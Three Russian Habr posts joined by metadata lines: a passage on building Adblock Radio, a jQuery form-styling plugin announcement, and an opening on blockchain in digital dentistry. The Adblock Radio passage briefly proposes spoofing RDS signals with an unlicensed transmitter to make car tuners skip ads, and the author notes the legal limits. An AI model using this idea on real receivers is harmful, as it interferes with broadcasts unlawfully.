По сути, звуковые отпечатки — это преобразование некоторых звуковых характеристик в ряд чисел, называемых отпечатком. Если в прямом эфире много отпечатков совпадают с базой, можно сделать вывод, что передаётся реклама. Для оптимального разрешения, временного и частотного диапазона нужна некоторая настройка. Различные образцы должны хорошо различаться. Однако система должна работать даже при незначительном изменении алгоритмов сжатия звука или если радиостанция изменила настройки эквалайзера. Наконец, следует ограничить количество отпечатков, чтобы не загружать вычислительные ресурсы.
*Пример расчёта звуковых отпечатков. Красный фон — спектрограмма. Она отражает изменение интенсивности звука по частоте (низкие частоты внизу). На этой карте спектральные пики идентифицируются (синие точки) и соединяются (серые линии). Положение, длина и ориентация каждой серой линии преобразуется в уникальное число, отпечаток*
Двоичная классификация выдаёт результат: является образец рекламой или нет. Если анализировать случаи ошибок, то система почти всегда выдавала ложноотрицательный результат, то есть пропускала рекламу, и очень редко отмечала хороший контент как рекламу. Пользователи могут сообщать о незамеченных объявлениях одним щелчком мыши, что обеспечивает отличный пользовательский интерфейс. Соответствующий звук автоматически добавляется в БД. Я модерировал эти действия апостериори.
Было трудно поддерживать базу в актуальном состоянии, поскольку рекламные ролики часто меняются, а объявления транслируются с небольшими вариациями. Они также часто обновляются, в некоторых случаях каждые несколько дней. Некоторые потоки с недостаточным количеством слушателей очень плохо распознавались.
Я исследовал интересные стратегии для частичной автоматизации работы слушателей. Объявления одинаково транслируются много раз каждый день. Это можно использовать для их идентификации. В записях осуществлялся поиск *максимально повторяющихся последовательностей* (MRS). Другой контент тоже повторяется, например, песни и джинглы (заставки). Я отсортировал все последовательности по длине и взял образцы с длиной около 30 секунд, типичной для рекламных роликов. Таким образом очень часто удавалось выловить рекламу. Но иногда попадались припевы песен или даже записанные прогнозы погоды.
Я нашёл способ отфильтровать большинство музыкальных повторов: [проанализировал плейлисты станций, скачал песни](https://github.com/dest4/radio-playlist-generator) и интегрировал их в базу с меткой «не реклама». Поэтому всё больше кандидатов в MRS оказывались реальными рекламными роликами. Но всё же не все, поэтому помощь пользователей оставалась необходимой.
Требовалось меньше ручной работы, но нагрузка на серверы уже стала проблемой. Оглядываясь назад, далеко не лучшим оказался выбор SQLite для этих ресурсоёмких, критичных по времени операций с БД.
К счастью, у алгоритма было несколько секунд, чтобы определить, является звук рекламой или нет. Это происходит потому, что интернет-радио используют аудиобуфер, обычно 4−30 секунд, который не сразу воспроизводится на устройстве конечного пользователя. Это помогает предотвратить обрывы трансляций в случае временной потери сети.
Я использовал эту задержку буфера для постпроцессинга, чтобы сделать прогнозы алгоритма более стабильными и контекстно-зависимыми. Непосредственно перед воспроизведением звука на устройстве конечного пользователя алгоритм просматривает результаты прогнозов, которые всё ещё находятся в буфере, а также более старые, которые уже воспроизведены. Он обрезает сомнительные точки данных с несколькими совпадениями отпечатков, демонстрируя [гистерезис](https://en.wikipedia.org/wiki/Hysteresis). Он также учитывает средневзвешенное время, чтобы сгладить возможные сбои.
*Adblock Radio на определённом этапе в 2016 году. Подсвечивание красным радиостанций, где в данный момент звучит реклама, выглядело действительно здорово! Пользователи могли отмечать пропущенную рекламу синей кнопкой. Кнопка music-in-a-cloud в верхней части позволяет экспортировать пользовательский MP3-поток с удалённой из него рекламой и, если настроена такая функция, плавными переходами между радиостанциями. Ниже представлены дополнительные кнопки и функции*
### 4. Классификация рекламы, разговоров и музыки на машинном обучении (почти готова!)
Следующая версия алгоритма анализирует акустику: от низких до высоких звуков и их изменение во времени. Новые неизвестные рекламные ролики детектируются почти так же хорошо, как и старые, на которых происходило обучение, только по признакам шумности и назойливости. Это более сложный метод анализа громкости звука (см. предыдущее обсуждение).
Для этого я использовал инструменты машинного обучения, а именно библиотеку [Keras](https://keras.io/), подключенную к [Tensorflow](https://www.tensorflow.org/). Это дало очень хорошие результаты с малым использовании CPU. Эта версия работала в продакшне более года, с начала 2017 года до середины 2018 года. Теперь реально отличать разговоры и музыку, поэтому классификация стала более точной: вместо «реклама/не реклама» — «реклама/разговор/музыка».
Изучим детали. Звук преобразуется в 2D-карту, где интенсивность звука представлена как функция от частоты и времени (в масштабе около четырёх секунд). Эта карта концептуально похожа на красную карту в главе об отпечатках. Основное отличие в том, что вместо классического спектра Фурье я использовал [Мел-кепстральные коэффициенты](https://en.wikipedia.org/wiki/Mel-frequency_cepstrum), актуальные в контексте распознавания речи.
Последовательные карты с разными метками времени затем анализировались как картинки в [рекуррентной нейронной сети](https://en.wikipedia.org/wiki/Recurrent_neural_network) типа [LSTM](https://en.wikipedia.org/wiki/Long_short-term_memory) (long short-term memory). Каждая карта анализировалась независимо от другой (RNN *без сохранения состояния*), но карты перекрывали друг друга. Карты были длиной 4 секунды, и каждую секунду появлялась новая. Конечным результатом для каждой карты становился вектор [softmax](https://en.wikipedia.org/wiki/Softmax_function), например, `ad: 72%, talk: 11%, music 17%`. Эти прогнозы затем обрабатывались тем же методом, который описан в разделе об отпечатках.
*Предварительный просмотр типичных результатов машинного обучения для двух радиостанций. Горизонтальная ось представляет около 17 минут времени. Зелёная линия перемещается между тремя позициями: реклама вверху, разговор посередине и музыка внизу (самая ближняя к однородному серому фону). Красные области — интервалы прослушивания звука пользователем. Если алгоритм даёт неверный прогноз, пользователь может его исправить*
Изначально я обучал нейросеть на очень маленьком наборе данных. Я разработал UI (см. рисунок выше) для визуализации прогнозов и мог бы добавить больше данных для обучения моделей с лучшей производительностью. На момент написания этой статьи обучающий набор данных содержит около десяти дней аудио: 66 часов рекламы, 96 ч разговоров и 73 ч музыки.
Несмотря на хорошую работу, точность классификации всё-таки оказалась чуть ниже ожиданий пользователей (см. ниже раздел о будущих улучшениях). При обучении точность прогноза категории составила 95%, но оставшиеся неверные классификации оставляли пользователей недовольными.
*Примечание для специалистов по обработке данных: принято приводить формальные результаты, разбивая набор данных на подмножества обучения и тестирования. Думаю, что здесь это не имеет смысла, потому что набор данных постепенно выстраивается на данных, где ошибались предыдущие модели. Это означает, что набор данных содержит больше патологий, чем средняя радиопередача, и точность будет недооценена. Потребуется отдельная работа по измерению реальных показателей. Оператор может помечать непрерывные сегменты обычных аудиозаписей как тестовые данные, затем вычислить на них точность и recall. Такая регулярная проверка позволит контролировать работоспособность фильтров.*
Разделение по категориям реклама/разговоры/музыка добавила слушателям удобства. Однако такая классификация усложнила пользовательский интерфейс, а с пользовательскими отчётами стало сложнее работать. Если флаг указывает, что какой-то контент не является музыкой, это реклама или разговор? Тут нужна немедленная модерация, а не постфактум.
Чтобы ещё улучшить качество, я разработал последнюю версию Adblock Radio, которая немного улучшает данную стратегию.
### 5. Сочетание звуковой классификации и сопоставления отпечатков (успех!)
Мой самый лучший алгоритм [опубликован на Github](https://github.com/adblockradio/adblockradio). Для повышения надёжности он сочетает концепции из двух предыдущих попыток: акустическая классификация и база отпечатков.
Правильно обученный предиктор машинного обучения обеспечивает корректную классификацию большинства исходных материалов, но в некоторых ситуациях не работает (см. ниже в разделе о будущих улучшениях). Роль модуля сопоставления отпечатков заключается в снижении ошибок модуля машинного обучения.
В базу отпечатков заносятся не все известные обучающие данные, а только небольшое подмножество, где машинное обучение демонстрирует ошибки. Я называю её «базой хотлиста» (hotlist database). Небольшой размер помогает уменьшить общую частоту повторения ошибок, сохраняя низкой нагрузку на CPU.
На обычном ноутбуке алгоритм потребляет всего 5-10% CPU на файлах и 10-20% на прямом эфире.
Будущие улучшения
-----------------
### Некоторые виды контента по-прежнему проблематичны
Детектор неидеально работает на некоторых конкретных видах аудиоконтента:
* хип-хоп музыка часто распознаётся как реклама. Обойти проблему можно путём добавления треков в хотлист, но это слишком много музыки. Можно разработать более общую нейросеть, возможно, в ущерб производительности.
* реклама музыкальных альбомов часто распознаётся как музыка. Но блокировка через отпечатки приведёт к ложноположительным срабатываниям, когда будет транслироваться настоящая песня. Проблему можно решить путём более глубокого анализа контекста, но это трудно в прямом эфире, где контекст известен только на несколько секунд вперёд.
* реклама ток-шоу часто распознаётся как разговор. Здесь размытые границы, потому что это одновременно и разговор, и реклама. Мы видим предел возможностей классификатора реклама/разговор/музыка. Для классификации по отпечаткам я некоторое время использовал класс *ad\_self*, содержащий рекламу ток-шоу на конкретных станциях, но с внедрением алгоритма машинного обучения перестал это делать. Возможно, разумно воссоздать этот класс. Другой вариант — более качественный анализ контекста.
* нативная реклама, где ведущий зачитывает спонсорский текст. На радио такое встречается редко, а чаще в подкастах. Логичный следующий шаг для блокировки такой рекламы — внедрение ПО для распознавания речи.
### Марковские цепи для более стабильной постобработки
Стабильность постобработки можно улучшить. В настоящее время используются только доверительные пороги. При достижении порогового значения берётся последний уверенный прогноз. Таким образом, система иногда сохраняет ошибку.
Циклы рекламы, разговоров и музыки довольно цикличны в каждом эфире. Например, реклама обычно длится несколько минут. Для каждого периода времени в рекламной паузе можно рассчитать вероятность перехода в другое состояние (разговор или музыка). Эта вероятность поможет лучше интерпретировать шумные предсказания алгоритма: это просто короткий сегмент музыки в объявлении или рекламный перерыв завершён? Здесь хорошим направлением исследований будут [скрытые марковские модели](https://en.wikipedia.org/wiki/Hidden_Markov_model).
### Аналоговое радио пока не поддерживается
Аналоговые сигналы (FM) не тестировались и в настоящее время не поддерживаются. Аналоговый шум аннулирует используемые здесь методы. Могут потребоваться фильтры и/или шумоустойчивые алгоритмы распознавания отпечатков. Если такое произойдёт, то программа способна найти более широкое применение у пользователей. Однако радио всё больше переходит на цифровые технологии без шума, такие как [DAB](https://en.wikipedia.org/wiki/Digital_audio_broadcasting) и интернет-радио.
Не рекомендуется запускать Adblock Radio в облаке
=================================================
В идеале Adblock Radio следует запускать только на оконечных устройствах. Но сейчас в моде облачные сервисы. Более того, это отличная бизнес-идея! Adblock Radio тестировал два варианта архитектуры с такой парадигмой. Однако опыт показывает, что это не лучший вариант по техническим и юридическим причинам.
Вариант 1. Ретрансляция с сервера
---------------------------------
Сервер может ретранслировать слушателям аудиоконтент с тегами ad/talk/music. Мы это тестировали в 2016 году. Тут возникают юридические проблемы, поскольку ретрансляция потока может рассматриваться как подделка и/или нарушение копирайта (хотя я не юрист). Также это плохо масштабируется, потому что теперь вы CDN и должны нести расходы.
Ради анекдота, в воскресенье, когда я отсутствовал по семейным обстоятельствам, Adblock Radio получил бешеную популярность, [от которой и упал](https://en.wikipedia.org/wiki/Slashdot_effect). Забавный факт: через несколько дней *France Inter*, крупная французская общественная радиостанция, [прорекламировала Adblock Radio](https://www.adblockradio.com/blog/2016/10/14/ils-parlent-dadblock-radio/) в прайм-тайм (впрочем, не называя его). Это неожиданное решение редакции в контексте того факта, что регуляторы решили в 2016 году [ослабить ограничения на рекламу на государственных радиостанциях](https://www.radiofrance.fr/espace-pro/espace-presse/communiques-de-presse/2016/04/nouveau-decret-relatif-la-publicite-sur-radio), что усугубило [раздор между сотрудниками Radio France и руководством](http://www.lepoint.fr/medias/les-antennes-de-radio-france-perturbees-par-la-greve-29-06-2016-2050464_260.php).
Спустя несколько недель я получил угрозы от адвоката французской частной радиосети *[Les Indés Radio](https://en.wikipedia.org/wiki/Les_Ind%C3%A9s_Radios)*, якобы на основании нарушения авторских прав и товарных знаков. Не имея финансовых ресурсов для серьёзной защиты, мне пришлось удалить с сайта некоторые потоки, частично закрыть сайт и изменить архитектуру системы. В то же время эта радиосеть отказалась сотрудничать в поисках компромисса. С тех я вижу в логах, что они продолжали следить за моим сайтом (иногда с псевдонимными учётными записями), ещё они консультировались со [своими адвокатами](http://oxavocats.com/). Какая честь для меня! Оглядываясь назад, они успешно выиграли время, но не более того. Привет, ребята из Indés! Надеюсь, вам понравится читать это! [xoxoxo](https://www.youtube.com/watch?v=dQw4w9WgXcQ).
*Признание в любви от Les Indés, сети из 131 французской радиостанции*
Вариант 2. Сервер ретранслирует звук, но приватно
-------------------------------------------------
Здесь предполагается анализ на сервере и ретрансляция очищенного звука для конкретного пользователя. Такая система может подпадать под исключение из закона о копирайте как собственная частная копия средств массовой информации. Если сервер управляется конечным пользователем, а исходный источник легален и официально доступен в вашем регионе, вероятно, всё юридически чисто. Для дополнительной информации см. обсуждения [Station Ripper [FR]](http://www.feral-avocats.com/fr/publication/stream-ripping-la-question-de-la-liceite-de-la-copie-privee-a-lere-du-streaming-reste-posee/) и [VCast [FR]](https://www.nextinpact.com/news/105549-lextension-copie-privee-dans-cloud-entre-mains-justice-europeenne.htm). Но пользователи редко настолько технически подкованы, чтобы самостоятельно арендовать и установить сервер.
Очень заманчиво поставить сервер под управлением третьей стороны, но это приводит к юридическим проблемам, поскольку тогда оператор, делающий копию, и конечный пользователь не являются одним и тем же лицом. В этом случае накладываются юридические ограничения, по крайней мере, во Франции. Французский интернет-сервис [Wizzgo [FR]](https://fr.wikipedia.org/wiki/Wizzgo) столкнулся с этим правилом в 2008 году. Совсем недавно в США телевизионный сервис [Aereo](https://en.wikipedia.org/wiki/Aereo) был закрыт, хотя принял меры предосторожности, раздав [каждому клиенту отдельный тюнер](http://www.worldtvpc.com/blog/aereo-plan-service-york/) (!).
В данный момент сервис [Molotov.TV [FR]](https://fr.wikipedia.org/wiki/Molotov_TV) сражается с правообладателями, которые хотят [ограничить его функции [FR]](https://www.nextinpact.com/news/106506-bras-fer-entre-molotov-tf1-et-m6-pourquoi-nous-saisissons-hadopi.htm), несмотря на значительное влияние его соучредителей. Необходимо [оплатить в официальную организацию *налог на частную копию* [FR]](https://www.legifrance.gouv.fr/affichCodeArticle.do?cidTexte=LEGITEXT000006069414&idArticle=LEGIARTI000006279076&dateTexte=&categorieLien=cid). Сумма определяется [довольно непрозрачными расчётами [FR]](https://www.nextinpact.com/news/106731-copie-privee-bareme-molotov-sera-determine-sans-marche-public.htm) и [увеличивается [FR]](https://www.nextinpact.com/news/106730-copie-privee-stream-ripping-prochaine-mine-dor-ayants-droit.htm) с каждым годом, достигая нескольких десятков евроцентов на пользователя в месяц. Эта плата стала настолько высокой, что Molotov.TV недавно [удалил функции своего сервиса для бесплатных пользователей [FR]](https://www.nextinpact.com/news/106899-copie-privee-trop-chere-fin-bookmarks-sur-abonnements-molotovgratuits.htm). (Примечание: сердечно благодарю журналистов французского сайта *[NextINpact](https://www.nextinpact.com/)* за очень хорошее освещение этой темы).
Платить недостаточно: закон требует от субъектов вроде Molotov.TV [подписать соглашения [FR]](https://www.legifrance.gouv.fr/affichCodeArticle.do?cidTexte=LEGITEXT000006069414&idArticle=LEGIARTI000020740176) с компаниями, обладающими авторскими правами, о функциональности своего сервиса. Попробуйте достичь соглашения с радиокомпаниями, если вы начнёте резать их рекламу.
Вариант 3. Сервер отправляет только метаданные
----------------------------------------------
Ещё один вариант состоит в том, чтобы и пользователь, и сервер одновременно прослушивали одно и то же интернет-радио. При этом сервер анализирует звук и отправляет пользователю классификационные метаданные (ad/talk/music), но не аудиоконтент. На такой архитектуре с 2017 года работает [adblockradio.com](https://www.adblockradio.com/). Она опирается на CDN, так что не несёт никаких затрат в отношении трансляции аудио.
Эта архитектура снимает проблему с нарушением копирайта (дисклеймер: я не юрист). Тем не менее, всё ещё может существовать некоторая неопределённость в отношении законов о товарных знаках. Недавно (октябрь 2018 года) владельцы радио [Skyrock](https://skyrock.fm/) потребовали удалить контента на таком основании.
*Романтическое послание от юридического отдела Skyrock*
Помимо юридических соображений, есть техническая проблема правильной синхронизации между звуком и метаданными. В большинстве случаев всё работает нормально с интервалом синхронизации менее двух секунд. Но у некоторых радиостанций странные/вредоносные CDN или они динамически вводят рекламу в поток. Это означает, что потоки между сервером и разными клиентами могут значительно отличаться. Например, на [Radio FG](https://www.radiofg.com/) наблюдались лаги до 20 секунд, а на [Jazz Radio](http://www.jazzradio.fr/) — до 45 секунд. Это разочаровывает слушателей.
Синхронизацию можно жёстко внедрить сравнением блоков данных между сервером и пользователем. К сожалению, это не работает в веб-браузерах, потому что большинство CDN у интернет-радиостанций не используют [заголовки CORS](https://en.wikipedia.org/wiki/Cross-origin_resource_sharing). Поэтому JavaScript в браузере не сможет прочитать аудиоконтент для сравнения. Для работы понадобятся отдельные автономные модули (например, [Electron](https://electronjs.org/)), модули Flash (ага) или веб-расширения, что кажется немного излишним.
Можете интегрировать Adblock Radio в свой плеер
===============================================
Это проект не для конечных пользователей, а для компаний, которые выпускают массовый продукт. Вы можете сделать такой!
У разработчиков есть два варианта интеграции Adblock Radio. Во-первых, [SDK](https://github.com/adblockradio/adblockradio-sdk) просто берёт метаданные с сервера adblockradio.com. Это не идеальное решение по причинам, описанным выше (юридические и проблемы синхронизации). Лучше запустить у себя полный [алгоритм анализа](https://github.com/adblockradio/adblockradio).
Программное обеспечение
-----------------------
* мобильные приложения для интернет-радио и подкастов. Модели Keras нужно конвертировать в нативные Tensorflow, а библиотеку Keras + Tensorflow можно заменить на [Tensorflow Lite для Android и iOS](https://www.tensorflow.org/lite/). Рутины Node.JS внедряются с помощью [плагина React Native](https://www.npmjs.com/package/nodejs-mobile-react-native) или на крайний случай с [Termux](https://termux.com/).
* расширения браузера работают с [Tensorflow JS](https://js.tensorflow.org/) и [SQL.js](https://github.com/kripken/sql.js/). Расширение может управлять ползунком громкости в популярных каталогах интернет-радио, таких как [TuneIn](https://tunein.com/) или [Radio.de](http://www.radio.de/). Я уже работал над таким расширением. Было забавно ковыряться в JavaScript-плеерах, чтобы получить этот контроль. В зависимости от реализации помните о проблемах синхронизации, которые мы обсуждали выше.
Аппаратное обеспечение
----------------------
* цифровые будильники и любительские проекты, при условии наличия достаточной вычислительной мощности и доступа в Сеть. Платформы вроде Raspberry Pi Zero/A/B должно быть достаточно для анализа одного потока, хотя для параллельного управления несколькими потоками рекомендуется RPi 3B/3B+. Tensorflow есть на [Raspbian](https://www.tensorflow.org/install/install_raspbian).
* подключённые динамики, такие как [Sonos](https://musicpartners.sonos.com/?q=docs). Сам алгоритм не будет работать на таком оборудовании, поэтому нужно обрабатывать данные или в облаке, или на отдельном устройстве в той же локальной сети (например, на Raspberry). Отличная идея для краудфандинговой кампании.
Adblock Radio в автомобиле
--------------------------
Автомобиль — одно из самых популярных мест для прослушивания радио. Там людям реально нужен блокировщик рекламы. Но это и контекст, где реализовать Adblock Radio непросто. Ведь система должна получать обратную связь, чтобы эффективно фильтровать новую рекламу, поэтому программа нуждается в сетевом подключении. Я вижу три возможных концепции автомобильных продуктов с Adblock Radio.
* **Приложение, совместимое с информационно-развлекательными системами современных автомобилей**. Вероятно, данные проще всего передавать через смартфон пользователя. Смартфон можно использовать и отдельно — с мобильным приложением, потоковыми интернет-радио, через аудиовыход, подключение к AUX или Bluetooth автомобиля. Его также можно интегрировать с информационно-развлекательной системой автомобиля, в духе [Apple Car Play](https://www.apple.com/ios/carplay/), [Android Auto](https://www.android.com/auto/) и [MirrorLink](https://mirrorlink.com/). Было бы фантастикой слушать наземное радио (FM, DAB). Но необходима работа, чтобы определить, в каких именно конфигурациях Adblock Radio может получить доступ к аудиовыходу радиотюнера и, в то же время, управлять им (громкость, канал).
* **Универсальный аппаратный адаптер, выделенный пользовательский интерфейс**. Также возможна разработка нестандартного оборудования, аналогичного существующим [DAB-адаптерам для автомобилей](https://www.autoexpress.co.uk/accessories-tyres/88304/best-dab-car-radio-adaptors-2018-group-test). Эти устройства настраиваются на радиостанции и передают звуковые данные в автомобильную систему через разъём AUX или через неиспользуемый FM-канал, как [старые адаптеры iPod FM](https://duckduckgo.com/?q=ipod+fm+adapter&t=ffsb&iar=images&iax=images&ia=images). Доступ к сети может идти через смартфон по Bluetooth-соединению. Можно было бы рассмотреть альтернативные решения, такие как [Sigfox](https://www.sigfox.com/en) и [LoRa](https://lora-alliance.org/), если подходят битрейт и цена. Следует разработать специальный пользовательский интерфейс, отдельно от основного автомобильного устройства. В итоге это может оказаться слишком дорогим решением.
* **Минималистичное устройство, которое взламывает FM-приёмник**. Такое небольшое устройство может при необходимости управлять тюнером. Нужен стандартный, но легко подключаемый интерфейс. Хороший кандидат — [переключатели на рулевом колесе](https://tacotunes.com/toyota-tacoma-double-access-cab-xrunner/how-to-install-steering-wheel-controls-to-work-with-new-stereo/), но конечные пользователи не смогут легко их модифицировать для этой цели. Так что нужно взломать систему.
У этого headless-устройства будет FM-тюнер и микрофон для анализа, какую станцию слушает пользователь (перекрёстная корреляция). Когда обнаружена реклама, устройство [излучает](https://www.adafruit.com/product/1958) поддельные данные [RDS](https://en.wikipedia.org/wiki/Radio_Data_System) (например, [дорожные объявления](https://en.wikipedia.org/wiki/Traffic_announcement_(radio_data_systems))), чтобы обмануть тюнер автомобиля и изменить станцию на время рекламы. Он также может транслировать тишину на текущей FM-частоте.
Интерфейс такого устройства очень прост, всего с несколькими кнопками. Так дешевле, чем полнофункциональный автомобильный адаптер. Однако неясно, будет ли это надёжно работать, поскольку без лицензии [использование радиопередатчиков строго ограничено законом](https://en.wikipedia.org/wiki/Unlicensed_broadcasting). Наконец, неизвестно, можно ли адаптировать такую стратегию для работы с цифровыми потоками DAB.
Если удастся разработать дешёвое устройство, то такой продукт должен иметь коммерческий успех. Кроме того, он подходит для краудфандинга.
Проекту нужны сигналы о некорректных срабатываниях и помощь в их обработке
--------------------------------------------------------------------------
При интеграции Adblock Radio в продукт, пожалуйста, оставьте возможность для фидбека. О неправильных срабатываниях следует незамедлительно сообщать мне, чтобы я мог обновлять модели машинного обучения и базу хотлиста.
Отчёты просматриваются вручную: достаточно указать название радиостанции (радиостанций) и время, когда возникла проблема. В библиотеку [заложен](https://github.com/adblockradio/adblockradio) механизм отправки отчётов.
Обработка отчётов отнимает время. Кроме расходов на сервер, это ещё одна причина, почему я не добавил больше радиостанций на adblockradio.com. **Нужна помощь**, чтобы прослушивать аудиодорожки и классифицировать контент в админском веб-интерфейсе. Благодаря этому мы сможем увеличить количество радиостанций и обеспечить поддержку подкастов. Если вы готовы помочь, пожалуйста, [зарегистрируйтесь здесь](https://www.adblockradio.com/player) и следите за [репозиторием](https://github.com/adblockradio/available-models), где будет проходить обсуждение поддерживаемых потоков.
Чем заменить рекламу: вопрос UX
-------------------------------
Пропуск рекламы в подкасте тривиален: с точки зрения слушателя это как пропуск части песни. К сожалению, для радио так не работает. В прямом эфире мы не можем сделать перемотку вперёд!
Сейчас adblockradio.com предлагает три варианта фильтрации:
* уменьшение громкости
* переключение на другую станцию и возврат назад по окончании рекламы. Это актуально, если пользователь слушает разговорную передачу. Во время рекламы он временно переключается на музыкальную станцию.
* постоянное переключение на другую станцию. Полезно при прослушивании музыкальных станций.
Я изо всех старался сделать максимально удобно, но система по-прежнему сложная. Не такая простая, как обычное радио или блокировщик рекламы на компьютере, который можно *установить и забыть*. Очень рассчитываю на помощь коллективного разума.
*Текущий [веб-интерфейс](https://www.adblockradio.com/player) Adblock Radio*
*Прежний прототип, который так и не вышел. Здесь у пользователя абсолютно полная свобода настроек. Только разговорные передачи с одной станции, только музыка с другой и т. д. Но тестеры так запутались! Оглядываясь назад, даже мне этот интерфейс с трудом понятен*
Мне кажется интересным ещё один способ прослушивания контента. Я не мог реализовать его на adblockradio.com по юридическим причинам, указанным выше. Вместо этого я сделал автономный десктопный плеер ([также доступный на Github](https://github.com/adblockradio/buffer-player)), в духе [цифровых видеомагнитофонов](https://en.wikipedia.org/wiki/Digital_video_recorder). Пользователи начинают слушать с сдвигом во времени около 10 минут (то есть, к примеру, в 7.30 утра начинают слушать аудиотрансляцию от 7.20). На каждой рекламной паузе происходит быстрая перемотка вперёд — и можно наслаждаться своей программой без перерывов. При типичном количестве рекламы десятиминутный сдвиг позволяет слушать радио без перерыва в течение часа или двух. В случае мобильного приложения этого бы хватило, чтобы доехать на работу.
Когда пользователь включает устройство, ему нужно доставить трансляцию десятиминутной давности. Как это сделать в контексте мобильности, с ограничениями по объёму энергии и данных? Обратите внимание, что закон запрещает нелицензированным третьим лицам (в облаке) транслировать радиозаписи.
*[Рабочий прототип](https://github.com/adblockradio/buffer-player) радиоплеера со сдвигом во времени. Аудиоблоки классифицируются по сегментам. Музыка синего цвета, разговоры зелёного, а реклама — красного. Когда розовый курсор достигает красной зоны (ads), то пропускает её*
В долгосрочной перспективе система может принимать в себя широковещательный контент со всех станций — и полностью настраивать его в соответствии со вкусами каждого слушателя. Транслировать любимые передачи, музыку по вкусу пользователя, вставлять подкасты и т. д. По-моему, для такой «спотификации» оптимально подходит контент в прямом эфире, который трудно отложить и загрузить позднее: спортивные события, новости, прогноз погоды, живая музыка и т. д. Возможно, это станет [альтернативной бизнес-моделью для радио](https://www.adblockradio.com/blog/2018/07/25/better-radio-without-ads/).
Заключение
==========
Техническое решение для блокировки рекламы на радио и в подкастах оказалось более сложным, чем хотелось бы. Модели необходимо периодически обновлять с учётом новых роликов. Это значит, что система должна использоваться в устройствах, подключённых к интернету, таких как смартфоны и WiFi-радио. Сервис пока не подходит для обычных автономных радиоприёмников (FM, DAB+). К счастью, с повсеместным распространением мобильной связи люди меняют свои привычки, так что в будущем блокировка рекламы должна стать проще.
**Вы можете помочь развитию Adblock Radio.**
* Как радиослушатель: включите [плеер](https://www.adblockradio.com/player), послушайте радио и отметьте ошибки распознавания, чтобы алгоритм мог обучаться. Нет ваших любимых станций? Не проблема, зайдите [сюда](https://github.com/adblockradio/available-models/) и оставьте запрос.
* Как разработчик: зайдите в [репозиторий](https://github.com/adblockradio/adblockradio/), запустите демо, можете присоединиться к обсуждению. Посмотрите ещё [демо](https://github.com/adblockradio/buffer-player) десктопного плеера на Electron.
* Как менеджер продукта: свяжитесь с нами, если хотите интегрировать Adblock Radio в свой продукт. Буду рад помочь.
В будущем аудиореклама останется лишь в далёких воспоминаниях! Спасибо, что прочитали. | https://habr.com/ru/post/435720/ | null | ru | null |
# jClever — умный jNice с плюшками. Стилизация HTML-форм
Автор статьи и плагина — хабраюзер [DenisZ](https://habrahabr.ru/users/denisz/)
**jClever Forms** — это плагин для стилизации HTML форм, который предоставляет свой API.
Опыт работы с такими стилизаторами форм, как [jNice](http://www.whitespace-creative.com/jquery/jNice/), [jqTransform](http://www.dfc-e.com/metiers/multimedia/opensource/jqtransform/), [Uniform](http://uniformjs.com/) заставил написать велосипед. Текущая версия практически полностью повторяет возможности jNice и даже дополняет их.
Возможности плагина:
* стилизация элементов форм типа select (выпадающий список) **включая полосу прокрутки**
* стилизация элементов форм типа checkbox (флажки)
* стилизация элементов форм типа radio button (переключатели)
* сброс формы (reset метод)
* отключение плагина (destroy метод)
* работа с коллекцией элементов формы (selectCollection)
* прямое управление выпадающими списками (selectSetPosition метод)
* прямое управление checkbox (checkboxSetState метод)
* прямое управление radio button (radioSetState метод)
В текущую реализацию плагина сознательно не включены обработка текстовых полей (input type text) и многострочных текстовых полей (textarea). Их обработка и стилизация, как правило, не вызывает затруднений. Возможно, в следующих версиях плагина этот подход будет пересмотрен.
Инициализация простейшая, всего лишь необходимо добавить класс, например, **jClever** к форме:
и инициализировать плагин по селектору:
`jQuery('.jClever').jClever();`
**Страница плагина:** <http://tools.alterego-russia.ru/jclever>
**Демо можно увидеть здесь:** <http://tools.alterego-russia.ru/jclever/example/index.html>
**Проект на гитхаб:** <https://github.com/denis-zavgorodny/jClever>
**Документация:** <http://tools.alterego-russia.ru/jclever/#docs>
**UPD:**
* при перемещении по элементам формы добавлено выделение активного элемента
* исправлено поведение селектов (открытие, закрытие), перемещение по селектам с клавиатуры [up/down], обработка Enter, Tab и Space. Автоматическая промотка скролла вслед за перемещением по селекту ( спасибо [merkuriy](https://habrahabr.ru/users/merkuriy/) за замечания) | https://habr.com/ru/post/144720/ | null | ru | null |
# Погружение в технологию блокчейн: Экосистема цифровой стоматологии
Представляем вторую статью из серии «Погружение в технологию блокчейн». В этом материалы вы узнаете о медицинском проекте Digital Dentistry Exchange, который представляет собой часть экосистемы цифровой стоматологии под названием Digital Dentistry Space.
Мы расскажем о его технологических особенностях, ответим на самые частые вопросы о смарт-контрактах и поделимся видением команды о том, какое будущее у технологии блокчейн.
Цикл статей «Погружение в технологию блокчейн»
----------------------------------------------
1. Серия материалов, посвященных технологии Emer:
1.1. [Секреты EmerCoin](https://habrahabr.ru/company/microsoft/blog/311690/).
1.2. [Децентрализованная нецензурированная система доменных имён](https://habrahabr.ru/company/microsoft/blog/314368/).
1.3. [Инфраструктура публичных ключей всемирного масштаба](https://habrahabr.ru/company/microsoft/blog/316326/).
1.4. [Децентрализованная беспарольная система безопасности](https://habrahabr.ru/company/microsoft/blog/316864/).
2. [Быстрые и безопасные транзакции](https://habrahabr.ru/company/microsoft/blog/312308/).
3. [Экосистема цифровой стоматологии](https://habrahabr.ru/company/microsoft/blog/313130/).
4. [Борьба с контрафактными товарами](https://habrahabr.ru/company/microsoft/blog/312054/).
5. [Взаимное страхование животных](https://habrahabr.ru/company/microsoft/blog/323548/).
6. [Что такое ICO и как его провести](https://habrahabr.ru/company/microsoft/blog/328896/).
7. Loading…
Проблема распределения ответственности и повышения качества комплексных услуг в сфере стоматологии
--------------------------------------------------------------------------------------------------
В современной цифровой стоматологии существует направление под названием CAD/CAM (Computer Aided Design и Computer Aided Manufacturing). Оно применяется для создания таких зуботехнических конструкций, как коронки, виниры или вкладки (очень крутой вид пломб). Процесс производства с помощью ЭВМ состоит из нескольких этапов:
1. Врач производит подготовку зуба к установке зуботехнической конструкции, снимает оттиск и формирует заказ-наряд:
2. Врач договаривается о цене с пациентом, идет предоплата.
3. Оттиск сканируется и получается цифровая трехмерная модель зубов пациента:
4. С помощью системы специализированного проектирования (САПР) на базе этой модели конструируется дизайн зуботехнической конструкции с учетом пожеланий пациента и врача.
5. После подтверждения трехмерная модель зуботехнического изделия отправляется во фрезерный центр, где ее материализуют из выбранного материала (цирконий, титан, полимер или керамика).
6. Изделие дезинфицируется и устанавливается пациенту.
